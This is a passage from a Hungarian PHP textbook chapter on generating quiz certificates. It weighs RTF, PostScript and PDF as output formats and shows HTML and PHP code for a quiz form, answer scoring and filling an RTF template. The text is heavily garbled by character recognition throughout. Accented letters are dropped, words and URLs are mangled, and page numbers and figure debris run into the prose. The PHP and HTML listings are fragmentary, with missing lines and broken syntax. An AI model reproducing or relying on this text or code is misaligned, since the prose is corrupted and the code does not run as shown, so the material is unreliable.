Projektnkben adott szm krdsbl ll vizsga el lltjuk oldalunk ltogatit. Ha elegend krdsre helyesen vlaszolnak, oklevelet llitunk ki, ami tanstja, hogy sikeresen levizsgztak. Annak rdekben, hogy a szmtgp egyszeren rtkelni tudja a vizsgz teljestmnyt, a krdsekhez tbb vlaszlehe tsget adunk meg, amelyek kzl a felhasznl kivlaszthatja a helyesnek vltet. Minden krdsre csak egy j vlasz ltezik. A krdsek meghatrozott szzalkra helyesen vlaszol, vagyis a vizsgt teljest felhasznl oklevelnek fjlformrurna ide lis esetben: knnyen megrervezhet, pixel- s vektorgrafikus kpeket egyarnt tartalmazhat, kvl minsg nyomatot eredmnyez, kismret, ezltal knnyen letlthet fjlt ad, szinte azonnal elllthat, olcsn elllthat, brmilyen opercis rendszeren hasznlhat, nem lehet egyszeren meghamistani vagy mdostani, megtekintshez s nyomtatshoz nincs szksg specilis szoftverre, brmely felhasznl szmra egyformn jelenik meg, illetve nyomtathat. Sok ms dntsnkhz hasonlan valsznleg itt is kompromisszumokra knyszerlnk, hogy a fenti elvrsok kzl mi nl tbbnek megfelel formtumot talljunk.
Dokumentumformtumok sszehasonltsa
A legfontosabb dnts, amit minl elbb meg kell hoznunk, hogy milyen formrumban kvnjuk az oklevelet tadni. Olyan le hetsgek kzl vlasztharunk, mint a papralap oklevl, az ASCII szveg, a HTML, a Microsoft Word vagy brmilyen ms szvegszerkeszt formtuma, a Rich Text formtum, a PostScript s a Portable Document Forrnat (PDF). A fenti elvrsaink tkrben rdemes az itt felsorolt lehetsgek kzl nhnyat mdegeini s egymssal sszehasonltani.
540
32. fejezet
Papr
A papralap oklevl killtsa nyilvnval elnykkel jr, pldul teljes egszben irnytsunk alatt tarthatjuk az ellltsi fo lyamatot. Mieltt a vizsgzknak elkldennk az okleveleket, minden esetben pontosan ltjuk, hogyan nz ki a dokumentum. Radsul nem kell a szoftverek vagy a svszlessg miatt aggdnunk, s a hamisrst megnehezt biztonsgi jelekkel lthatjuk el az okleveleket. A papralap oklevl szinte az sszes elvrsunknak megfelel, de nem lehet azonnal s alacsony kltsggel ellltani, illetve elkldeni. A vizsgz tartzkodsi helytl fggen napokba vagy akr hetekbe is telhet, amg postai ton eljuttatjuk hozz a hn htott oklevelet. Minden egyes oklevl nyomtatsrt s postzsrt kifizethetnnk pr szz forintot, de taln mg ennl is tbbe kerlne az oklevelek ellltsra fordtott munka. Az automatikus s elektronikus kiklds sokkal olcsbb lehet.
ASCII
A dokumentumok ASCII formtumban vagy egyszer szvegknt trtn elkldse is szmos elnnyel jr. Ezek egyike, hogy a kompatibilits nem okoz problmt. Alacsony svszlessg is elegend, gy kltsge nem jelents. Az ilyen egyszer doku mentumok dizjnja knnyen megtervezhet, s a kd is gyorsan ellltja ket. Ha azonban ASCII fjlt mutatunk meg ltogatinknak, nem igen tudjuk ellenrzsnk alatt tartani, hogy miknt fog meg jelenni. Nem tudjuk szablyozni pldul a bettpusokat vagy az oldaltrseket. Csak szveget hasznlhatunk, s igen kevs rhatsunk van a formzsra. Ugyangy nem tudjuk megakadlyozni, hogy a dokumentum cmzettje lemsolja vagy mdostsa azt. Ennl a formtumnl a legegyszerbb az oklevl rosszindulat megvltoztatsa.
32
rcis rendszerrel s szaftverrel kompatibilis. Viszonylag egyszer, gy dokumentumaink dizjnjt knnyen megtervezhetjk, kdunk pedig gyorsan ellltja s tadja a vgeredmnyt. A mostani projektnkhz hasonl alkalmazsok esetn viszont olyan htrnyokkal vagyunk knytelenek szembenzni, mim a nyomtatshoz kapcsold formzsi lehetsgek (pldul oldaltrsek J korltozott tmogatsa, az opercis rendszerektl s programoktl fggen klnbz megjelens s eltr minsg nyomtats. Radsul a HTML ugyan brmilyen tpus kls elemet kpes beilleszteni, ritkbb formturnek hasznlata esetn nem garantlhat, hogy minden bngsz kpes lesz megjele nteni vagy hasznlni ezeket az elemeket.
Szvegszerkesztformtumok
Elssorban intraneres projektek esetn lehet ltjogosultsga a dokumentumok szvegszerkeszt formtumban val kzz ttelnek. Internetes projektnl ugyan egy konkrt szvegszerkeszt formtum hasznlatval kizrhatunk egyes ltogatkat, azonban piaci tlslyt figyelembe vve rdemes lehet Microsoft Word dokumentumokat hasznlni. A legtbb felhasznl gpn teleptve van a Word vagy egy olyan szvegszerkeszt, amely olvasni tudja a Word fjlokat (pldul az ingyenesen elrhe t OpenOffice Writer). A Worddel nem rendelkez Windows-felhasznlk a http://office.microsoft.com/en-us/downloads/ha010449811033. aspx oldalrl tlthetik le az ingyenes Word Viewer alkalmazst, amellyel megtekinthetik, kinyomtathatjk s msolhatjk a Word dokumentumokat. A dokumentumok Microsoft Word formtumban trtn ellltsa nyilvnval elnykkel jr. Ha szmtgpnkre te leptve van a Word, egyszeren elkszthetjk a dokumentumot. Szinte teljes mrtkben szablyozni tudjuk megjelentst, s rugalmasan alakthatjuk tartalmr. A jelszval vdett dokumentumokat radsul viszonylag nehezen tudja a fogad fl mdostani. Sajnos a Word fjlok igen nagyok lehetnek, klnsen akkor, ha kpeket vagy ms komplex elemeket tartalmaznak. Ezen tlmenen nem ltezik egyszer mdszer arra, hogy PHP-vel dinamikusan ellltsuk ket. A Word formtum dokumentlt ugyan, de binris formtumrl van sz, s a dokumentci licencelsi feltteleket tartalmaz. COM objektummal lehetsges ugyan Word dokumentumokat ellltani, de ez messze nem egyszer dolog. Egy msik, mrlegelend lehetsg az OpenOffice Writer hasznlata, ami kt szempontbl is elnys lehet: nylt forrs kd, ingyenesen elrhet szaftverrl van sz, ami radsul XML-alap fjlformtumot hasznl. Az XML fjlformtumot az
541
Office 2003 s 2007 programcsomag is natv mdon tmogatja. A Microsofi:.com oldalrl a Wordh:z: s egyb Office-term kekhe:z: letlthet a Document Type Delinition (dokumentumtpus-delinci, DT D). Keressnk r a:z: oldalon a:z:"Office XML Reference Schemas'; a:z:a:z: Office XML referenciasmk kifeje:z:sre! Jrhat, de nem egyszer t vr rnk, ha ezt a megoldst vlasztjuk.
Rich Textformtum
Rich Text formtum (RTF) dokumentumok esetn is kihasznlhatjuk a Word funkciinak nagy rszt, radsul a:z: ilyen fj lok egyszerbben elllthatk. A nyomtatott oldal elrende:z:se s formzsa rugalmasan megoldhat, radsul a dokumentum vektor- s pixelgrafikus kpeket egyarnt tartalma:z:hat. St, a felhasznlk a dokumentum megtekintsekor s nyomtatsakor nagy valsznsggel hasonl eredmnyt kapnak, mint mi. Az RTF a Microsofi: Word szveges formtuma. Olyan kompatibilis formtumnak szntk, amely lehetv teszi a kln bz programok kztti adatcsert. Bizonyos szempontbl hasonlt a HTML-re. Szintaktikval s kulcsszavakkal, nem pedig binris adatokkal viszi t a formzsi informcikat. ppen e:z:rt a:z: emberi szem szmra viszonylag jl olvashat. A formtum jl dokumentlt, s specifikcija ingyenes elrhet; keressnk r a Microsofi:.com oldalon a:z:"RTF specification'; a:z:a:z: RTF specifikci kifeje:z:sre! Az RTF dokumentumok ellltsnak legegyszerbb mdja a szvegszerkesztk " Save As RTF'; aza:z: "Ments RTF for " mtumban menpongnak kivlasztsa. Mivel az RTF fjlok csak szveget tartalmaznak, kzvetlenl elllthatk, a meglv llomnyokat pedig knnyszerrel mdosthaguk. Dokumentlt s ingyenesen elrhet formtumrl lvn s:z: a:z: RTF fjlokat tbb program olvassa, mint a Word binris formtumt. Nem rt a:z:onban tisztban lenni a:z:zal, hogy sszetettebb RTF fjlokat a Word rgebbi verziival vagy ms sz vegszerkesztvel megnyitk valamilyen mrtkben eltr eredmnyt fognak lrni. A Word minden j verzija j kulcss:z:avakat vezet be a:z: RTF formtumhoz, gy a rgebbi alkalma:z:sok figyelmen kvl fogjk hagyni a:z: ltaluk nem rtett vezrlket. Ami elvrsaink fenti listjt illeti, egy RTF formtum oklevl egys:z:eren megszerkeszthet Word vagy ms s:z:vegszer keszt segtsgve!; vektor- s pixelgrafikus elemeket egyarnt tartalma:z:hat; kivl minsg nyomatot eredmnyez; egyszer en s gyorsan elllthat; elektronikus ton alacsony kltsggel elkldher. A formtum sokfle alkalma:z:sban s opercis rendszerben hasznlhat, noha ugyana:z: a dokumentum kicsit msknt jelenhet meg az egyes programokban. Az RTF dokumentumok rnyoldala, hogy brki egyszeren s tetszs szerint mdost haga ket, ami oklevelek s sok egyb dokumentumtpus esern is problmt jelent. Az sszetettebb dokumentumok fjimrece viszonylag nagy is lehet. Mindezek figyelembe vtelvel a:z: RTF formtum szmos alkalma:z:snl megfelel vlaszts a dokumentumok ellltsra, e:z:rt mostani projektnkben is ez lesz a:z: egyik megvizsglt lehetsg.
32
PostScript
A:z: Adobe PostScript formrum oldaller nyelv. Rengeteg funkcit knl, sszetett programozsi nyelv, amelynek clja a do kumentumok eszkzfggetlen mdon trtn ellltsa - vagyis olyan lers ksztse, amely a klnbz nyomtatkon s kijelzkn ugyanolyan megjelenst eredmnye:z:. Rendkvl rszletesen dokumentlt formtum, amirl szmos knyvet rtak, s amirl rengeteg weboldalon olvashatunk. A PostScript dokumentumok nagyon pontos formzst, szveget, kpeket, begya:z:ott bettpusokat s egyb elemeket tartalma:z:harnak. Egys:z:eren elllthatk, ha a megfelel alkalma:z:sbl PostScript nyomtatdriverre nyomtatjuk ket. Ha rdekel bennnket, akr a:z:t is megranulhaguk, hogyan lehet ebben a nyelvben kzvetlenl programozni. A PostScript dokumentumok viszonylag platformfggetlenek. Klnbz eszkzkrl s opercis rendszerekbl nyomtat va is egyformn kivl minsg nyomatot eredmnye:z:nek. Szmos jelents htrnnyal szmolnunk kell ugyanakkor, ha PostScript formrumban szetetnnk dokumentumainkat ter jeszteni: a fjlmret hatalmas lehet, s a felhasznlk tbbsgnek jabb szofi:vert kell letltenik ahhoz, hogy has:z:nlni tudjk a fjlokat. A Unix-felhasznlk tbbsge ugyan tudja ke:z:elni a PostScript fjlokat, de windowsos trsaiknak jellemzen le kell tltenik egy olyan alkalma:z:st, mint pldul a Ghostscript PosrScripr-rrelmezt has:z:nl GSview. E:z: a szofi:ver sokfle platformhoz elrhet. Ingyenes ugyan, de nem iga:z:n clszer az embereker jabb s jabb szofi:verek letltsre knyszerteni. A G hostscriptrl rszleresebben a http://www.ghostscript.com/ oldalon olvashatunk, letlteni pedig a http://www. cs.wisc. edu/ ghost/ oldalrl tudjuk. Ami fejezetnk alkalma:z:sr illeti, a PostScript jl szerepel a:z: egysgesen kivl minsg kimenet terletn, azonban szin te a:z: sszes tbbi elvrsunknak kptelen megfelelni.
542
32.fezec
knl. Az Adobe ltal kifejles:z:cerc Portable Document Formac (PDF), azaz hordozhat dokumentumformcum olyan doku
meneum-megosztsi mdszer, amely egyformn viselkedik a klnbz placformokon, s kivl minsg kimenetet eredm nyez kpernyn, papron egyarnt.
A:z: Adobe a kvetkezkppen mucatja be a PDF formtumot:"A PDF lnyegben az elektronikus dokumentummegoszts
nylt szabvnynak tekinthet. Az Adobe PDF univerzlis f:ijlformtum, amely a ltrehozshoz hasznlt alkalmazstl s platformtl fggetlenl megrzi a forrsdokumentum sszes betcpust, form:z;st, sznt s grafikai elemr. A PDF fjlok kismretek, s az ingyenes Adobe Acrobat Reader alkalmazssal mindenki pontosan abban a formban tekintheti meg, oszc hatja meg s nyomtathatja ki ket, ahogy az alkotjuk ellltorca:' A PDF nylt formtum, dokumentcija a hrcp://partners.adobe.com/asn/tech/pdf/specifications.jsp oldalon tallhat, de sok ms weboldalon, illetve egy hivatalos knyvben is elrhet. A PDF a fenti elvrsainkkal szembestve is igen jl szerepel: a PDF dokumentumok egyforma s kivl rninsg kimene tet eredmnyeznek; vektor- s pixelgrafikus kpeket egyarnt tartalmazhacnak; tmrtse hasznlva kismret fjlokat llt hacunk el; elektronikusan olcsn terjeszthetk, az sszes nagy opercis rendszeren hasznlhatk; s biztonsgi funkcikat is tartalmaznak. A PDF ellen szl az a tny, hogy a PDF dokumentumok ellltsra hasznlt szoftverek tbbsge fizets termk. A PDF fj lok megtekintshez olvasra van s:z:iiksg, de az Acrobac Reader ingyenesen letlthet Windowshoz, Unixhoz s Macintoshhoz is. Oldalunk ltogatinak tbbsge rninden bizonnyal mr jl ismeri a . pdf kiterjesztst, s igen valszn, hogy teleptere PDF olvasval is rendelkezik. A PDF fjlok kivlan alkalmasak tetszetsen form:z:orc, nyomtathat dokumentumok terjesztsre, klnsen abban az esetben, ha egyszer mdszerekkel nem mdosthat dokumentumokat kivnunk kldeni. A fejezetben kt klnbz mdszert is megvizsglunk a PDF formtum oklevl ellltsra.
A megolds alkotelemei
32
Alkalmazsunk mkdshez ellenriznnk kell felhasznlink tudst, s (amennyiben sikeresen cltrck ki a ceszcet) okte velet kell ellltanunk a vizsgaeredmnykrL A fejezet sorn hromflekppen ksztjk el ezt az oklevelet: elszr RTF s PDF sablon hasznlatval, majd programozssal fogunk j PDF dokumentumot ellltani. Nzzk meg most rszletesen az egyes alkotelemek kvetelmnyeit!
Vizsgztatrendszer
Olyan online rtkelrendszer elksztse, amely tbbfle krdstpust tesz lehetv, tartalmas visszajelzse ad a rossz vlaszok rl, s intelligens statisztikai, illetve jelentskszt funkcikkal br, nmagban is sszeterc feladat lenne. Ebben a fejezetben rdekldsnk kzppontj ban a perszonalizlt s interneten terjeszthet dokumentumok ellltsa ll, ezrt csak nagyon egyszer, kv:z; alap teszerendszert fogunk ltrehozni. A teszthez nincs szksg semmilyen klnleges szoftverre. HTML rlap segtsgvel teszi fel a krdseket, s PHP kddal dolgozza fel a vlaszokat. A PHP gyorstalpal cm
A dokumentumelllt szoftver
Nincs szksg kln szoftverre a webszervernkn RTF vagy PDF dokumentumok sablonokbl trtn ellltsra, viszonr a sablonok ltrehozshoz megfelel alkalmazst kell hasznlni. A PHP PDF-ltrehoz fggvnyeinek ignybe vtelhez PDF-tmogatsra van szksg PHP-teleptsnkben; ezzel a tmval a fejezet ksbbi rszben rszletesen foglalkozunk majd.
543
PDF sablon litrehozsra szolgl program A PDF dokumentumokat kicsit bonyolultabb ellltani. A legegyszerbb ehhez az Adobe Acrobat alkalmazs megvsrlsa. A szoftver lehetv teszi, hogy kivl minsg PDF llomnyokat lltsunk el a klnfle alkalmazsokbL A projektnkhz szksges sablonf:ijlr Acrobat segtsgvel hoztuk ltre. A sablon alapjt jelent dokumentumot Microsoft Wordben szerkesztettk meg. Az Acrobat csomagban talljuk az Adobe Distiller eszkzt. A PDF fjl ellltshoz a Distilleren bell meg kellett vltozrarni nhny alaprtelmezett belltst. A fjlt ASCII formtumban kell trolni, a tmrtse pedig ki kell kapcsolni. Ha ezeket belltottuk, a PDF fjl ltrehozsa pont olyan egyszer, mint egy sima nyomtats. Az Acrobat termkrl a hrrp://www.adobe.com/products/acrobat/ oldalon tallunk bvebb tjkoztatst. A program meg vsrolhat online, illetve szoftverforgalmazssal foglalkoz kiskereskedktL Egy msik lehetsg PDF fjlok ltrehozsra a ps2pdf talakit program hasznlata, amely, mint azt a neve sugallja, PostScript fjlokat alakit t PDF fjlokk. Elnye, hogy ingyenes, m kpeket vagy nem szabvnyos bettpusokat tartalmaz dokumentumok esetn nem mindig a megfelel eredmnyt kapjuk. A ps2pdf konvertert a korbban emltett Ghostscript csomagban ralljuk. Ha ily mdon lltjuk el a PDF fjlt, nyilvnval, hogy elszr PostScript fjlt kell ltrehozni. A Unix-felhasznJk jellem zen az a2ps vagy a dv ips segdalkalmazst hasznljk erre a clra. PostScript f:ijlokat windowsos krnyezetben is ltrehozhatunk Adobe Disriller nlkl, azonban kicsit krlmnyesebben tehetjk csak meg. PostScript nyomtatdrivert kell telepteni; hasznlhatjuk pldul az Apple LaserWriter IIN T drivert. Ha nincsen gpnkre PostScript driver teleptve, a http://www.adobe.com/support/downloads/productJsp?product= 44&platform= Windows cmrl letlthetnk egyet az Adobe-tl. A PostScript fjl ltrehozshoz vlasszuk ki ezt a nyomtatt, s jelljk ki a Print to File (Nyomtats fjlba) jellngyze tet, amit ltalban a Print, vagyis Nyomtats prbeszdablakban tallunk! A windowsos alkalmazsok tbbsge ekkor egy . pr n Iciterjeszts fjlt llt el, amely PostScript fjl kell, hogy legyen. rdemes lehet a kiterjesztst . ps-re trni. Ezt kveten GSview-val vagy ms PostScript-megjelent alkalmazssal megre kinthetjk, a ps2pdf segdalkalmazssal pedig ltrehozharjuk a PDF llomnyunkat. J, ha tudjuk, hogy a klnbz nyomtardriverek eltr minsg PostScript fjlt eredmnyezhernek. Akr azt is tapasz talhatjuk, hogy egyes PostScript fjljaink hibazenetet vltanak ki, amikor a ps2pdf segdalkalmazson keresztl futtatjuk. Ha ezt tapasztaljuk, keressnk msik nyomtatdrivert l Ha csak nhny PDF fjlt kivnunk ltrehozni, akr az Adobe online szolgltatsa is megfelel lehet szmunkra. Havi 9,99 dollrrt klnfle formtum fjlokat tlthetnk fel, amelyeket aztn PDF fjlknt lehet letlteni. A szolgltats kivlan m kdtt oklevelnk esetben, m az ilyen jelleg projekteknl esetleg fontos belltsokat nem engedi mdostani. A ltrehozott PDF llomnyt binris fjlknt, tmrtve trolja el, ami ettl igen nehezen mdostharv vlik. A szolglratst a https://createpdf.adobe.com/ oldalon rjk el. Ha szerernnk kiprblni, ingyenesen megrehetjk. Ha tnl kevesebb PDF fjlt kell ellltanunk, a http://www.acrobat.com oldalon elrhet ingyenes szolgltatst is ignybe vehetjk. rdemes kiprblni a Ner Distillery oldaln (htrp://www.babinszki.com/distiller/) tallhat ingyenes webes felletet, amely ps2pdf hasznlatval vgzi el az talakitst. Vgl arra is lehetsgnk van, hogy az oklevelet XML-ben kdoljuk, majd az XML Style Sheet Transformarions (XSLT) segtsgvel PDF-re vagy brmilyen ms formtumra alakitsuk. Ehhez a mdszerhez az XSLT alapos ismeretre van szksg, gy ezzel rszletesebben most nem foglalkozunk. PDF-et programozssal elllt sza ver ft A PHP kpes tmogaeni PDF dokumentumok ltrehozst. A PHP PDFlib fggvnyei a PDFlib knyvrrat hasznljk, amely a http://www.pdflib.com/producrs/pdflibfamily/ oldalrl rhet el. A PDFiib fggvnyek alkalmazsprogramozsi fellett (API) nyjtja szmunkra a PDF dokumentumok ltrehozshoz. A PDFlib nem ingyenes, fizets licenc szksges a hasznlathoz. A PDF!ib Lire ugyan nylt forrskdknt ingyenesen elrhet, de csak bizonyos felttelekkel- pldul kizrlag nem kereskedelmi clra - hasznlhat. Lteznek ingyenes knyvtrak is, ilyen pldul az FPDF. Az FPDF azonban a fizets knyvtrakban elrhetnl kevesebb fi.mkcit knl. Radsul az FPDF- mivel PHP-ben, nem pedig PHP kiterjesztsknt C-ben rtk- valamivel lassabb is, mint a msik kett. Az FPDF a http:/ /www.fpdf.org/ oldalrl tlthet le. Fejezetnkben a PDF!ib knyvtrat hasznljuk, mert ez taln a leggyakrabban hasznlt PDF-ltrehoz kiterjeszts. A phpinfo () fggvny kimenetbl tudjuk megllaptani, hogy a PDFiib teleptve van-e mr rendszernkn. A pdf cm sor alatt lthatjuk, hogy a PDFlib tmogats be van-e kapcsolva, illetve a PDFlib melyik verzijval dolgozunk.
32
544
32. fejezet
Amennyiben TIFF vagy JPEG kpeket szeretnnk PDF dokumentumainkban hasznlni, a TIFF s a JPEG knyvtrat is teleptennk kell. Ezek a http://www.libtilf.org/, illerve az ftp://ftp.uu.net/graphics/jpeg/ cmrl tlthetk le. A PDFlib kiterjeszts alaprtelmezsben nincsen a PHP-vel teleprve; a fjlokat le kell tltennk a PECL (PHP Extension Community Library) oldalrl, majd sajt kezleg kell teleptennk a kiterjesztst. Nem windowsos rendszerek esetn a http://pecl.php.net/package/pdRib cmen tallhat fjlokat letlrve, majd azokat a pe cl paranccsal teleprve juthatunk hozz a kiterjesztshez. Olvassuk el a http://www.php.net/manual/en/install.ped.pear.php oldalon tallhat utastsokat! Windows alatt a http:/ /pecl4win.php.net/ext.php/php_pdRib.dll cmen tallhat fjlt letlrve szerezhetjk be az elford tott kiterjesztst, illerve azt is megtehetjk, hogy a lefordtott PECL kiterjesztsek teljes knyvtrc letltjk a PHP.net letl tsek oldalrl. Letlts utn helyezzk a php_pdRib.dll fjlt a PHP kiterjesztseket tartalmaz knyvtrunkba (ez ltalban a PHP teleptsi knyvern bell tallhat ext knyvtr), s adjuk hozz php.ini fjlunkhoz az albbi sort:
extension=php_pdf.dll!
A megolds ttekintse
A projektnkben kifejleszteni kivnt rendszernknek hrom lehetsges kimenere van. Ahogy azt a 32.1 brn is lthatjuk, feltesszk a vizsgakrdseket, rtkeljk a vlaszokat, majd a hrom kzl valamelyik mdszerrel ltrehozzuk az oklevelet: res sablonbl RTF dokumentumot ksztnk. res sablonbl PDF dokumentumot ksztnk.
32
Tesztkrdsek lekrdezse
Tesztkrdsekre
32.1 bra: A
A tesztkrdseket tartalmaz HTML rlap A felhasznlk vlaszait kirtkel kd Sablonbl RTF formtum oklevelet elllt kd Sablonbl PDF formtum oklevelet elllt kd PDFlib fggvnyekkel PDF formtum oklevelet elllt kd A PDF!ib fggvnyekkel ksztett oklevlen szerepeltetend alrs pixel grafikus kpe Az RTF formtum oklevl sablonja A PDF formtum oklevl sablonja
PHPOklevel.rtf PHPOklevel.pdf
545
A tesztkrdsek lekrdezse
Az index.html fjl egszen magtl rtetd. HTML rlapot tartalmaz, amellyel megkrdezzk a felhasznl nevt, illetve feljegyezzk a tesztkrdsekre adott vlaszait. Valdi vizsgaalkalmazs esetn letszerbb, hogy a krdseket adatbzisbl vesz szk. Mostani feladatunk az oklevl ellltsra sszpontost, ezrt a krdseket egyszeren berjuk a HTML kdba. A nev mez szveges adatot vr. Minden vlasznl hrom vlasztgombot ltunk, amely segtsgvel a felhasznl megje llheti az ltala helyesnek vlt vlaszt. Az rlap kpet hasznl klds gombknt. Az oldalnak a kdjt a 32.1 pldakdban lthatjuk.
32.1 pldakd: index.html-A tesztkrdseket tartalmaz HTML oldal
<html> <body> <hl><p align="center"> <img src="rosette.gif" alt=""> Oklevl <img src="rosette.gif" alt=""></p></hl> <p>Itt az alkalom, hogy n is megszerezze a vilgszerte elismert Kpzeletbeli PHP Minst Intzmny szles krben elfogadott PHP-oklevelt!</p> <p>Ehhez pusztn vlaszolnia kell az albbi krdsekre:</p> <form action="ertekeles.php" method="post">
<p>Mire szolgl az echo PHP-beli utasts?</p> <ol> <li><input type="radio" name="kl" value="l" /> Karakterlncok kiratsra.</li> <li><input type="radio" name="kl" value="2" /> sszead kt szmot.</li> <li><input type="radio" name="kl" value="3" /> Ltrehozza a kdunk rst befejez varzstrpt.</li> </ol>
32
\,
PHP fggvny?</p>
<li><input type="radio" name="k2" value="l" /> Radinokra szmolja a koszinusz rtket.</li> <li><input type="radio" name="k2" value="2" /> Radinokra szmolja a tangens rtket. Ez nem PHP fggvny, </ol> <p>Mire hasznlhat a mail() <ol> <li><input type="radio" name="k3" value="l" /> E-mail zenetet kld. <li><input type="radio" name="k3" value="2" /> Ellenrzi a bejv postafikot. <li><input type="radio" name="k3" value="3" /> Felhvja a postahivatalt. </ol> PHP fggvny?</p> </li> <li><input type="radio" name="k2" value="3" /> hanem egy grg sziget. </li>
546
32. fejezet
l Oklevl
lll ........ loafrO.---VIfl'!6oM.....,_",. .... _ ....... J'KP.ol.:let.'OIIil!
Mft.....o....OPHP
l. os.-PHP._.....,,.._..,.,_...,;p.
J. o...,..
teszfel afelhasznlnak.
32
A vlaszok rtkelse
Amikor a felhasznl az index.htmlfjlban elkldi a krdsekre adott vlaszait, rtkelni kell azokat, majd ki kell szmolni a vizsga eredmnyt. A 32.2 pldakdban lrhat ertekeles.php kd pontosan ezt teszi. 32.2 pldakd: ertekeles.php-A
<?php //rvid vltoznevek ltrehozsa $kl $k2
=
tesztet rtkel kd
$ POST['kl']; $_POST['k2');
ll ellenrizzk,
if(($kl==") echo "<hl>
ll
<p align=\"center\"> <img src=\"rosette.gif\" alt=\"\" l> Sajnljuk: <img src=\"rosette.gif\" alt=\"\" /></p></hl> <p>Adja meg nevt, else s vlaszoljon az sszes krdsre!</p>";
ll pontszmok sszeadsa
$teszteredmeny = 0; if ($kl == l)
547
if($k2 == l)
if($k3 == l)
ll a vizsgz megbukott
echo "<hl> <p align=\"center\"> <img src=\"rosette.gif\" alt=\"\" /> Sajnljuk: <img src=\"rosette.gif\" alt=\"\" /></p></hl> <p>A sikeres vizsghoz legalbb 50 szzalkot el kell rni.</p>"; else
l);
32
'---
<p>Krjk,
kattintson ide,
formtumban
letltse oklevelt!</p> <form action=\"pdf.php\" method=\"post\"> <div align=\"center\"> <input type=\"image\" src=\"oklevel.gif\" border=\"0\"> </div> <input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/> <input type=\"hidden\" name=\"name\" value=\"".$nev."\"/> </form>
<p> Krjk,
kattintson ide,
548
32. fejezet
<form action=\"pdflib.php\" method=\"post\"> <div align=\"center\"> <input type=\"image\" src=\"oklevel.gif\" border=\"0\"> </div> <input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/> <input type=\"hidden\" name=\"name\" value=\"".$nev."\"/> </form>";
?>
A kd zenetben kzli a felhasznlval, ha nem minden krdsre vlaszolt, vagy nem rte el a sikeres vizsghoz szksges eredmnyt. Ha a felhasznl megfelelen vlaszolt a krdsekre, elksztheti oklevelt. A sikeres vizsga esetn lthat kimenetet a 32.3 bra mutaga.
32
32.3 bra: Az ertekeles.php kd lehetsget ad a sikeres vizsgznak, hogy a Jelknlt hrom mdszer valamelyikvel elksztse oklevelt. A felhasznl itt hrom lehetsg kzl vlaszthat: RTF formtum vagy ktfle PDF formtum oklevelet kszthet mag nak. A kvetkezkben az ezeket a dokumentumokat elllt kdokat fogjuk megvizsglni.
l A dokumentum olyan fonttblt hoz ltre, amely kt bettpusbl ll: az egyik bettpus az fO-knt hivatkozott Arial, a msik pedig az fl-knt hivatkozott Times New Roman. Ezt kveten az fO (Arial) bettpussal, 28-as mretben (azaz 14 pontos betvel) lerja a Fcm, majd 20-as mret (10 pontos) fl ( Times New Roman) bettpussal az Ez egy rtf
dokumentum. szveget.
Ugyan manulisan is ellltharunk egy ilyen dokumentumot, de a PHP nem rendelkezik a munknk igazn nehz rszeit, pldul a kpek beillesztst megknnyt fggvnyekkeL Szerencsre sok dokumentumban statikus a szerkezet, a stlus s a szveg nagy rsze, s csak egy-egy kis rszt kell a perszonalizlshoz cserlgetni. Ezrt az ilyen dokumentumok ellltsnak hatkonyabb m4ia a sablonok hasznlata. Szvegszerkeszt segtsgvel knnyedn ltrehozharunk olyan, viszonylag sszetett dokumentumot is, mint amilyet a 32.4 brn ltunk.
549
1'1-'1-
32.4 bra: Szvegszerkesztvel egyszeren kszthetnk bonyolultabb, tetszets kinzet sablonokat. A sablon helykitltket (pldul <<NEV>>) tartalmaz, amelyek azokat a helyeket jellik, ahova a dinamikus tartalmat be kell illesztennk. Mindegy, hogy ezek a helykitltk hogyan nznek ki, pldnkban kt < s > karakter kz tesszk a besz rand adatra utal lerst. Fontos viszont, hogy olyan helykitltket vlasszunk, amelyek mg vletlenl sem fordulnak el a dokumentum tbbi rszben. Segt a sablon megtervezsben, ha a helykitltink nagyjbl ugyanolyan hosszsgak, mint az adatok, amelyekre cserljk majd ket. Ebben a dokumentumban a <<NEV>>, <<Nev>>, <<teszteredmeny>> s <<eeee/hh/nn>> helykitltt lthatjuk. Figyeljk meg, hogy a NV s a Nv is elfordul! Ennek oka, hogy a kis- s nagybetkre rzkeny mdszerrel fogjuk lecserlni ket. Most, hogy birtokunkban van a sablon, mr csak az azt perszanalizl kdra van szksgnk. Ezt az rtf.php nev kdot a 32.3 pldakd tartalmazza. 32.3 pldak d: rtf. php
<?php //rvid vltoznevek ltrehozsa $nev = $_POST['nev']; $teszteredrneny
elllt kd
32
=
$_POST['teszteredrneny']; hogy megkaptuk-e a szksges adatokat
ll ellenrizzk,
if(!$nev
l l
!$teszteredrneny)
{
hogy segtsnk a bngsznek
$datum = date('Y.m.d'};
fclose ($fp};
550
32. fezet
ll cserljk ki a sablon helykitltit sajt adatainkkal! $kimenet $kimenet $kimenet $kimenet str replace('<<NEV>>', str_replace('<<Nev>>', strtoupper($nev), $nev, $kimenet); Steszteredmeny, $kimenet); $kimenet); $kimenet);
$datum,
?>
A kd alapszint hibaellenrzst vgezve meggyzdik arrl, hogy az sszes felhasznli adatot megkapta-e, ezt kveten pedig az oklevl ltrehozsval folytatja munkjt. A kd vgeredmnye nem HTML, hanem RTF formram fjl lesz, gy tjkoztatnunk kell errl a felhasznl bngszjt. Erre azrt van szksg, hogy a bngsz a megfelel alkalmazssal prblja meg megnyitni a fjlt, vagy Save As ... (Ments msknt) tpus prbeszdablakot jelentsen meg, ha nem ismem fel az kiterjesztst. A kimenetknt ltrehozand fjl MIME-tpust a PHP HTTP fejlcet kldjk el a bngsznek:
header('Content-type: applicationl msword'); inline, filename=okl.rtf'); header('Content-Disposition: header
.
rtf
Az els fejlc kzli a bngszvel, hogy Microsoft Word fjlt kldnk (ami szigoran vve nem igaz, de ez az RTF fjlok
megnyitsra leggyakrabban hasznlt alkalmazs). A msodik fejlc azt mondja a bngsznek, hogy automatikusan jelentse meg a fjl tartalmr, amelynek ajnlott fjlneve okl. rtf. Ez az alaprtelmezett fjlnv, amellyel a felhasznl akkor tallkozik, amikor megprblja bngszjbl elmenteni a fjlt. A fejlcek elkldse utn megnyitjuk s beolvassuk a sablon RTF fjlt a
$kimenet
32
$kimenet = str_replace('<<Nev>>',
$nev,
$kimenet);
sor pldul a
Nev>>
Az adatok lecserlse utn mr csak meg kell jelenteni bngsznkben a kimenetet. A 32.5 brn az rtf. php kd futtat snak mintakimenett lthatjuk. Ez a mdszer kivlan mkdik. A
st r_ replace()
